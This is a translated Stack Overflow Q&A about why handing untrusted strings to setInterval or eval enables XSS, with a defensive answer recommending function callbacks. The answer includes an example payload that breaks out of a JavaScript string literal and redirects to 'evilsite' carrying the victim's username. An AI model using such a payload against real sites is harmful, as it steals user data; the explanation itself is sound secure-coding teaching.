为什么setInterval不安全,容易受到XSS攻击的影响?

3

我正在学习 OWASP跨站脚本攻击防御备忘单。在第3条规则中,它说:

请注意,有些JavaScript函数即使进行了JavaScript转义也不能安全地使用不受信任的数据作为输入!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

澄清:

  1. 我知道使用 setInterval 等在你自己的内容中是安全的。
  2. 我知道必须验证、转义和/或清理外部内容。

我的理解是规则 #3 暗示着如果你使用 setInterval,攻击者可以绕过你能想到的任何 XSS 过滤器。

你有什么例子可以说明这是什么意思吗?使用 setInterval 会带来什么类型的 XSS 攻击?

这里有一个类似的问题:.setinterval and XSS 不幸的是那个答案没有帮助我。


3
setInterval(userInput, 1000) 这段代码中的 userInput = "alert('XSS')",意思是每隔 1000 毫秒就执行一次 alert('XSS') 函数。 - VLAZ
2
当传递一个字符串时,setIntervaleval没有任何区别... - deceze
1
@customcommander 如果您使用字符串调用setInterval,则选择在某些输入上使用eval。如果该输入来自用户,则选择将用户想要的任何代码运行到您的应用程序中。用户输入永远不可信并始终被视为不安全。由于您还被选为始终将其视为可运行代码,因此无论逃避多少次都无法保护您-您已经使自己始终处于防御状态。您堵塞一个安全漏洞,攻击者可以利用另一个漏洞。您只是在反应,永远无法完全覆盖。 - VLAZ
1
EVEN IF JAVASCRIPT ESCAPED”是错误的。当然,可以正确转义用户输入以将其用作传递给setIntervaleval的代码片段中的数据。但这很难做到,并且大多数情况下相当无用。 (当然,使用用户输入作为代码本身绝不是一个好主意)。 - Bergi
1
@Bergi 我认为,一个经过足够转义以在 eval 中运行的用户输入不值得在 eval 中运行,因为你很可能只暴露了非常有限的功能 - 足以准备用户可以选择而无需作为代码输入的函数。实际的“选择”可能采用字符串形式,该字符串被标记/解析以调用正确的功能,但仍然如此。 - VLAZ
显示剩余7条评论
1个回答

2

首先了解一些背景:

为了防止跨站脚本攻击(XSS),需要添加适当的转义字符,以防止恶意数据破坏您放置它的任何位置并被评估为JavaScript。

例如,给定用户输入:xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '

如果您使用服务器端代码将其插入字符串文字中:

const userinput = '<?php echo $_GET("userinput"); ?>'

您将获得:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

然后,'会打破JS中的字符串文字,窃取用户名,并将其发送到攻击者的网站。(可能被窃取的内容不仅限于用户名。)
转义是为了防止数据像这样打破字符串文字:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

因此,攻击代码仅成为字符串的一部分,而不是作为原始代码进行评估。
将字符串传递给 setInterval(或 setTimeout,new Function,eval等)的问题在于它们是设计用于评估代码的函数。
攻击者不需要突破字符串文字就可以执行其代码。它已经发生了。

我的问题是关于理解为什么 setInterval 永远无法安全地从 XSS 中获得保护。

这不是您引用的警告所说的。它说不能安全地使用不可信数据作为输入。如果您在此处放置自己的代码,则完全安全。当您评估某个用户输入时,才会出现问题。
将字符串传递给 setInterval 是一个坏主意。很难调试,并且相对较慢。
传递一个函数。您甚至可以安全地使用用户输入(因为它不被评估为代码,只是一个包含字符串的变量)。
const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);

我知道使用自己的代码是安全的;但是人们会用自己的代码进行 XSS 攻击吗?我猜有些人已经成功了 :-) 我只是想知道为什么无法正确转义外部代码,以使其在 setInterval 等函数中执行时更加安全。在这方面,我发现 @Bergi 的评论很有帮助。感谢您抽出时间撰写详细的答案!它也很有用。 - customcommander
@customcommander “人们会用自己的代码进行XSS攻击吗?”这更像是一个问题,如果你使用了eval也许你只是让用户暴露给自己(如果你很幸运),但这是一个等待发生的安全问题。明年你决定添加一些利用相同功能的东西,最终允许用户在其他用户的浏览器上运行代码。那么你就有麻烦了。其实并不难让一个人自己运行代码,“在这里复制/粘贴这个,看看会发生什么”可以污染低技术用户的整个会话。 - VLAZ
@customcommander 你可能会在用户B的环境中无意中运行用户A的代码,例如通过书签或加载由用户B保存的内容等方式。eval让你永远处于防御状态 - 不仅现在必须确保不运行有害代码,而且未来也要一直如此。一个单纯的重构或更改可能会暴露安全问题。 - VLAZ

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接